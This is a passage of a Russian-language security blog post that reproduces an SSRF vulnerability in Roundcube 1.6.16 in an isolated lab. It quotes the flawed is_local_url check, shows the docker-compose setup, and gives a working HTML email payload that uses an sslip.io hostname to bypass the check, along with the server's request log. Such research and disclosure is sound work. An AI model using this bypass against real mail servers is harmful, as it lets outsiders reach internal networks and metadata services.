{"id":488139,"date":"2026-07-22T08:29:05","date_gmt":"2026-07-22T08:29:05","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=488139"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=488139","title":{"rendered":"\u041f\u0438\u0441\u044c\u043c\u043e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0445\u043e\u0434\u0438\u0442 \u0437\u0430 \u0432\u0430\u0441: \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u044e \u0441\u0432\u0435\u0436\u0438\u0439 SSRF \u0432 Roundcube \u043d\u0430 \u0436\u0438\u0432\u043e\u043c \u0441\u0442\u0435\u043d\u0434\u0435"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412\u044b \u043e\u0442\u043a\u0440\u044b\u043b\u0438 \u043f\u0438\u0441\u044c\u043c\u043e. \u041f\u043e\u043a\u0430 \u0432\u044b \u0435\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u0442\u0435, \u0432\u0430\u0448 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430 \u0443\u0436\u0435 \u0441\u0442\u0443\u0447\u0438\u0442\u0441\u044f \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0430\u0434\u0440\u0435\u0441, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u044b \u0435\u043c\u0443 \u043d\u0435 \u0434\u0430\u0432\u0430\u043b\u0438. \u041d\u0435 \u0432\u044b\u0434\u0443\u043c\u043a\u0430, \u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0451\u043b \u044d\u0442\u043e \u043d\u0430 \u0441\u0442\u0435\u043d\u0434\u0435 \u0438 \u043f\u043e\u0439\u043c\u0430\u043b \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043b\u043e\u0433\u0435.<\/p>\n<p>\u041f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u043e \u044d\u0442\u043e \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u0430\u0441\u0441\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435. \u041a\u043b\u0438\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 MIME, \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442 \u0442\u0435\u043a\u0441\u0442 \u0432 HTML, \u043f\u043e\u0434\u0442\u044f\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0442\u0438\u043b\u0438, \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043b\u0438\u043d\u043a\u0443\u0435\u0442 \u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u0441\u0441\u044b\u043b\u043a\u0438. \u041a\u0430\u0436\u0434\u044b\u0439 \u0442\u0430\u043a\u043e\u0439 \u0448\u0430\u0433 \u044d\u0442\u043e \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0434 \u0434\u0430\u043d\u043d\u044b\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0438\u0441\u043b\u0430\u043b \u0447\u0443\u0436\u043e\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u043a. \u0418 \u0435\u0441\u043b\u0438 \u0445\u043e\u0442\u044c \u043e\u0434\u0438\u043d \u0448\u0430\u0433 \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u044d\u0442\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0441\u0442\u043e\u0438\u043b\u043e, \u043f\u0438\u0441\u044c\u043c\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0434\u0435\u043b\u0430\u0442\u044c \u0442\u043e, \u0447\u0435\u0433\u043e \u0432\u044b \u043d\u0435 \u043f\u0440\u043e\u0441\u0438\u043b\u0438.<\/p>\n<p>\u0412 \u0438\u044e\u043b\u0435 2026 Roundcube \u0432\u044b\u043a\u0430\u0442\u0438\u043b \u0440\u0435\u043b\u0438\u0437 1.6.17, \u0438 \u044d\u0442\u043e \u043d\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u043f\u043b\u0430\u0442\u043a\u0430, \u0430 \u0446\u0435\u043b\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a. \u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0430\u043c \u0441 \u0432\u044b\u0441\u0448\u0438\u043c \u0431\u0430\u043b\u043b\u043e\u043c: NIST \u0434\u0430\u043b \u043e\u0431\u0435\u0438\u043c 10.0 \u0438\u0437 10, MITRE \u043f\u043e SSRF \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u0435\u0435 \u0438 \u0441\u0442\u0430\u0432\u0438\u0442 7.2. \u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0438\u0441\u044c\u043c\u0443 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0430\u0448 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0430\u043c\u043e\u043c\u0443 \u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u044e\u044e \u0441\u0435\u0442\u044c. \u042f \u043f\u043e\u0434\u043d\u044f\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043d\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0441\u0442\u0435\u043d\u0434\u0435 \u0438 \u043f\u0440\u043e\u0448\u0451\u043b \u0430\u0442\u0430\u043a\u0443 \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u0434\u043e \u043b\u043e\u0433\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043b\u043e\u0432\u0438\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442 \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0417\u0430\u043e\u0434\u043d\u043e \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u043e\u043a\u0430\u0436\u0443, \u0433\u0434\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u0432\u0442\u043e\u0440\u0443\u044e 10.0 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0438\u0445 \u043d\u0435\u043b\u044c\u0437\u044f.<\/p>\n<p>\u0421\u0440\u0430\u0437\u0443 \u043e\u0433\u043e\u0432\u043e\u0440\u044e\u0441\u044c: Roundcube \u044f \u043d\u0435 \u0433\u043e\u043d\u044f\u044e \u0432 \u043f\u0440\u043e\u0434\u0435 \u0438 \u0441\u0442\u0430\u0442\u044c\u044f \u043d\u0435 \u043f\u0440\u043e \u0442\u043e, \u0447\u0442\u043e \u043e\u043d \u043f\u043b\u043e\u0445\u043e\u0439. \u042f \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0441\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u0438 \u043c\u0435\u043d\u044f \u0446\u0435\u043f\u043b\u044f\u0435\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0438\u0439\u0441\u044f \u0441\u044e\u0436\u0435\u0442. \u0421\u043e\u0444\u0442 \u0443\u043c\u0435\u0435\u0442 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442\u044c \u0447\u0443\u0436\u043e\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u0443 \u043d\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0440\u043e\u0432\u043d\u043e \u0442\u0430\u043c, \u0433\u0434\u0435 \u043e\u043d \u0441\u0442\u0430\u0440\u0430\u0435\u0442\u0441\u044f \u0431\u044b\u0442\u044c \u0443\u0434\u043e\u0431\u043d\u044b\u043c. Roundcube \u0442\u0443\u0442 \u043e\u0442\u043b\u0438\u0447\u043d\u0430\u044f \u0438\u043b\u043b\u044e\u0441\u0442\u0440\u0430\u0446\u0438\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0434\u044b\u0440\u044b \u0441\u0438\u0434\u044f\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u0432 \u0444\u0438\u0447\u0430\u0445: \u0432 \u043f\u043e\u0434\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u0442\u0438\u043b\u0435\u0439, \u0432 \u043b\u0438\u043d\u043a\u043e\u0432\u0430\u043d\u0438\u0438 \u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439.<\/p>\n<h3>\u041a\u0430\u043a \u043f\u0438\u0441\u044c\u043c\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 \u0445\u043e\u0434\u0438\u0442\u044c \u043f\u043e \u0441\u0435\u0442\u0438: CVE-2026-62643 (CVSS 10.0)<\/h3>\n<p>\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0439, \u0447\u0442\u043e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0451\u043b \u0432\u0436\u0438\u0432\u0443\u044e.<\/p>\n<p>\u041a\u043e\u0433\u0434\u0430 Roundcube \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 HTML-\u043f\u0438\u0441\u044c\u043c\u043e, \u043e\u043d \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u0442 \u0441\u0442\u0438\u043b\u0438 \u043a\u0430\u043a \u0435\u0441\u0442\u044c. \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0442\u0438\u043b\u0438 \u043e\u043d \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0442\u044f\u043d\u0435\u0442 \u043a \u0441\u0435\u0431\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u043f\u0440\u043e\u0433\u043e\u043d\u044f\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u0430\u043d\u0438\u0442\u0430\u0439\u0437\u0435\u0440 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0442\u043e\u043c \u043e\u0442\u0434\u0430\u0451\u0442 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440. \u041b\u043e\u0433\u0438\u043a\u0430 \u0437\u0434\u0440\u0430\u0432\u0430\u044f: \u043f\u043e\u0447\u0438\u0441\u0442\u0438\u0442\u044c CSS \u043e\u0442 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u043d \u043f\u043e\u043f\u0430\u0434\u0451\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u044f\u043d\u0435\u0442 \u0438\u0445 \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440.<\/p>\n<p>\u0412\u043e\u0442 \u043c\u0435\u0441\u0442\u043e \u0432 \u043a\u043e\u0434\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 (<code>program\/actions\/mail\/index.php<\/code>):<\/p>\n<pre><code class=\"php\">if ($tag == 'link' &amp;&amp; preg_match('\/^https?:\\\/\\\/\/i', $attrib['href'])    &amp;&amp; !rcube_utils::is_local_url($attrib['href'])) {    \/\/ \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0441\u0442\u0438\u043b\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a modcss,    \/\/ \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \u0421\u0410\u041c \u0438 \u0432\u0435\u0440\u043d\u0451\u0442 \u043e\u0447\u0438\u0449\u0435\u043d\u043d\u044b\u0439 CSS    $_SESSION['modcssurls'][$tempurl] = $attrib['href'];    ...}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:87px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0422\u043e \u0435\u0441\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u043e \u0441 <code>&lt;link rel=\"stylesheet\" href=\"...\"&gt;<\/code> \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439, \u043a\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u043d\u0430 \u043f\u0443\u0442\u0438 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u044d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 <code>is_local_url<\/code>. \u0412\u0441\u044f \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 SSRF \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u043d\u0435\u0439. \u0421\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u043e\u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0432 1.6.16.<\/p>\n<pre><code class=\"php\">public static function is_local_url($url){    $host = parse_url($url, \\PHP_URL_HOST);    ...    $host = preg_replace('\/^::ffff:\/i', '', $host);    if (preg_match('\/([0-9a-f.-]+)\\.nip\\.io$\/i', $host, $matches)) {        $host = trim($matches[1], '-.');    }    if ($address = Factory::parseAddressString($host, $options)) {        $nets = [            '0.0.0.0', '127.0.0.0\/8', '10.0.0.0\/8', '172.16.0.0\/12',            '192.168.0.0\/16', '169.254.0.0\/16', '::1\/128', 'fc00::\/7',        ];        foreach ($nets as $net) {            $range = Factory::parseRangeString($net);            if ($range-&gt;contains($address)) {                return true; \/\/ \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u043c            }        }        return false;    }    ...}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u044f\u043c\u044b\u0435 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0447\u0435\u0441\u0442\u043d\u043e: \u0432\u0435\u0441\u044c RFC1918, loopback, link-local \u0441 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c\u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043d\u0430 169.254. \u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c <code>href=\"http:\/\/127.0.0.1\"<\/code> \u0438\u043b\u0438 <code>http:\/\/169.254.169.254<\/code> \u043d\u0435 \u0432\u044b\u0439\u0434\u0435\u0442, \u043e\u0442\u0441\u0435\u043a\u0430\u0435\u0442\u0441\u044f.<\/p>\n<p>\u041d\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 <code>nip.io<\/code>. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0437\u043d\u0430\u043b\u0438 \u043f\u0440\u043e DNS-\u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0435\u0437\u043e\u043b\u0432\u044f\u0442 \u0438\u043c\u044f \u0432\u0438\u0434\u0430 <code>10.0.0.1.nip.io<\/code> \u0432 IP <code>10.0.0.1<\/code>. \u0422\u0430\u043a\u043e\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0437\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c \u0438\u043c\u0435\u043d\u0435\u043c: <code>is_local_url<\/code> \u0432\u0438\u0434\u0438\u0442 \u0434\u043e\u043c\u0435\u043d, \u0430 \u043d\u0435 IP, \u0438 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 <code>nip.io<\/code> \u0442\u0443\u0442 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 \u0430\u0434\u0440\u0435\u0441 \u043f\u0435\u0440\u0435\u0434 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439. \u041b\u043e\u0433\u0438\u0447\u043d\u043e.<\/p>\n<p>\u0412\u043e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e <code>nip.io<\/code> \u043d\u0435 \u043e\u0434\u0438\u043d. \u0415\u0441\u0442\u044c <code>sslip.io<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u0435\u043b\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u0438 \u0432 1.6.16 \u0435\u0433\u043e \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u043d\u0435\u0442. \u0422\u043e \u0435\u0441\u0442\u044c <code>172.30.0.3.sslip.io<\/code> \u0434\u043b\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u043e\u043c\u0435\u043d. \u041e\u043d\u0430 \u0435\u0433\u043e \u043d\u0435 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442, <code>parseAddressString<\/code> \u043e\u0442 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438 \u043d\u0435 \u0434\u0430\u0451\u0442 IP, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u043e\u0432 \u043d\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442, \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 false. \u041d\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439. \u0418\u0434\u0451\u043c.<\/p>\n<h4>\u0421\u0442\u0435\u043d\u0434<\/h4>\n<p>\u0412\u0441\u0451 \u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u0437 \u0442\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432, \u044f\u0449\u0438\u043a\u0438 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435. \u0416\u0435\u0440\u0442\u0432\u0430 \u044d\u0442\u043e Roundcube 1.6.16 (\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0434\u043e \u0444\u0438\u043a\u0441\u0430), \u043f\u043e\u0447\u0442\u043e\u0432\u0438\u043a GreenMail, \u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0441 \u043e\u0431\u044b\u0447\u043d\u044b\u043c <code>python -m http.server<\/code>, \u0432\u0438\u0434\u0438\u043c\u044b\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0442\u0438 \u043a\u0430\u043a <code>172.30.0.3<\/code>.<\/p>\n<pre><code class=\"yaml\">services:  roundcube:    image: roundcube\/roundcubemail:1.6.16-apache    environment:      ROUNDCUBEMAIL_DEFAULT_HOST: greenmail      ROUNDCUBEMAIL_SMTP_SERVER: greenmail    ports: [\"127.0.0.1:8091:80\"]  greenmail:    image: greenmail\/standalone:latest    environment:      GREENMAIL_OPTS: \"-Dgreenmail.setup.test.all -Dgreenmail.users=victim@lab.local:victimpass,attacker@lab.local:attackerpass\"  attacker:    image: python:3.12-alpine    command: python -m http.server 8000<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0433\u0430\u0434\u0430\u0442\u044c:<\/p>\n<pre><code>$ docker exec rc-victim head -3 \/var\/www\/html\/CHANGELOG.md# Changelog Roundcube Webmail## Release 1.6.16<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h4>\u0410\u0442\u0430\u043a\u0430<\/h4>\n<p>\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e \u0436\u0435\u0440\u0442\u0432\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439 \u0432 \u0448\u0430\u043f\u043a\u0435. \u0425\u043e\u0441\u0442 \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u043d \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 <code>is_local_url<\/code>: \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 DNS \u0437\u0430\u0440\u0435\u0437\u043e\u043b\u0432\u0438\u0442 <code>172.30.0.3.sslip.io<\/code> \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 <code>172.30.0.3<\/code>, \u0433\u0434\u0435 \u0441\u0438\u0434\u0438\u0442 \u043c\u043e\u0439 listener.<\/p>\n<pre><code class=\"python\">html = (    '&lt;html&gt;&lt;head&gt;'    '&lt;link rel=\"stylesheet\" href=\"http:\/\/172.30.0.3.sslip.io:8000\/ssrf-proof.css\"&gt;'    '&lt;\/head&gt;&lt;body&gt;&lt;p&gt;Styled newsletter.&lt;\/p&gt;&lt;\/body&gt;&lt;\/html&gt;')<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0417\u0430\u0445\u043e\u0436\u0443 \u0432 \u0432\u0435\u0431\u043c\u0435\u0439\u043b \u0436\u0435\u0440\u0442\u0432\u043e\u0439, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e \u043f\u0438\u0441\u044c\u043c\u043e. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e Roundcube \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442 \u0438 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u043b\u0430\u0448\u043a\u0443 \u0441 \u043a\u043d\u043e\u043f\u043a\u043e\u0439 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c, \u0442\u0430\u043a \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435 zero-click, \u0430 \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0420\u0430\u0437\u0440\u0435\u0448\u0430\u044e \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442 (\u0432 \u0441\u0442\u0435\u043d\u0434\u0435 \u044f \u0434\u0451\u0440\u043d\u0443\u043b \u0442\u0443 \u0436\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u0447\u0442\u043e \u0432\u0438\u0441\u0438\u0442 \u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0435). \u0418 \u0441\u043c\u043e\u0442\u0440\u044e \u0432 \u043b\u043e\u0433 listener\u2019\u0430:<\/p>\n<pre><code>172.30.0.4 - - [21\/Jul\/2026 18:13:38] \"GET \/ssrf-proof.css HTTP\/1.1\" 404<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0412\u043e\u0442 \u043e\u043d\u0430, \u0441\u0443\u0442\u044c. \u0417\u0430\u043f\u0440\u043e\u0441 \u043f\u0440\u0438\u0448\u0451\u043b, \u0438 \u043f\u0440\u0438\u0448\u0451\u043b \u043e\u043d \u0441 \u0430\u0434\u0440\u0435\u0441\u0430 <code>172.30.0.4<\/code>. \u042d\u0442\u043e \u043d\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b. \u0411\u0440\u0430\u0443\u0437\u0435\u0440 \u0438\u043c\u044f <code>172.30.0.3.sslip.io<\/code> \u0432\u043e\u043e\u0431\u0449\u0435 \u0441\u043d\u0430\u0440\u0443\u0436\u0438 \u0431\u044b \u043d\u0435 \u0443\u0432\u0438\u0434\u0435\u043b. <code>172.30.0.4<\/code> \u044d\u0442\u043e \u0441\u0430\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 Roundcube, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0447\u0435\u0440\u0435\u0437 <code>hostname -i<\/code>. \u0422\u043e \u0435\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e 